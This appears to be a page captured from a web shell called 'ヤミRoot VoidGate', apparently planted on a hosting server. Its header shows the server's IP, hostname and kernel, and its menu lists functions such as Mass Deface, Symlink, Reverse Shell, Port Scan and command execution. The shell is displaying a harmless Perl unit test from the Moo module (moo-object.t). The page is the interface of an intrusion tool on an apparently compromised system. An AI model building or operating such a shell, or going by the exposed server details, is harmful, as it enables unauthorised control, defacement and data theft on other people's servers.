ヤミRoot VoidGate
User / IP
:
216.73.216.2
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
.cpanm
/
work
/
1568630680.21759
/
Moo-2.003004
/
t
/
Viewing: moo-object.t
use Moo::_strictures; use Test::More; use Test::Fatal; { package MyClass; use base 'Moo::Object'; } { package MyClass2; use base 'Moo::Object'; sub BUILD { } } is_deeply +MyClass->BUILDARGS({foo => 'bar'}), {foo => 'bar'}, 'BUILDARGS: hashref accepted'; is_deeply +MyClass->BUILDARGS(foo => 'bar'), {foo => 'bar'}, 'BUILDARGS: hash accepted'; like exception { MyClass->BUILDARGS('foo') }, qr/Single parameters to new\(\) must be a HASH ref/, 'BUILDARGS: non-hashref single element rejected'; like exception { MyClass->BUILDARGS(foo => 'bar', 5) }, qr/You passed an odd number of arguments/, 'BUILDARGS: odd number of elements rejected'; is +MyClass->new({foo => 'bar'})->{foo}, undef, 'arbitrary attributes not stored when no BUILD exists'; my $built = 0; *MyClass::BUILD = sub { $built++ }; is +MyClass->new({foo => 'bar'})->{foo}, undef, 'arbitrary attributes not stored second time when no BUILD exists'; is $built, 0, 'BUILD only checked for once'; is +MyClass2->new({foo => 'bar'})->{foo}, undef, 'arbitrary attributes not stored when BUILD exists'; is +MyClass2->new({foo => 'bar'})->{foo}, undef, 'arbitrary attributes not stored second time when BUILD exists'; ok !MyClass->does('MyClass2'), 'does returns false for other class'; is $INC{'Role/Tiny.pm'}, undef, " ... and doesn't load Role::Tiny"; { my $meta = MyClass->meta; $meta->make_immutable; is $INC{'Moo/HandleMoose.pm'}, undef, "->meta->make_immutable doesn't load HandleMoose"; $meta->DESTROY; } is $INC{'Moo/HandleMoose.pm'}, undef, "destroying fake metaclass doesn't load HandleMoose"; done_testing;
Coded With 💗 by
0x6ick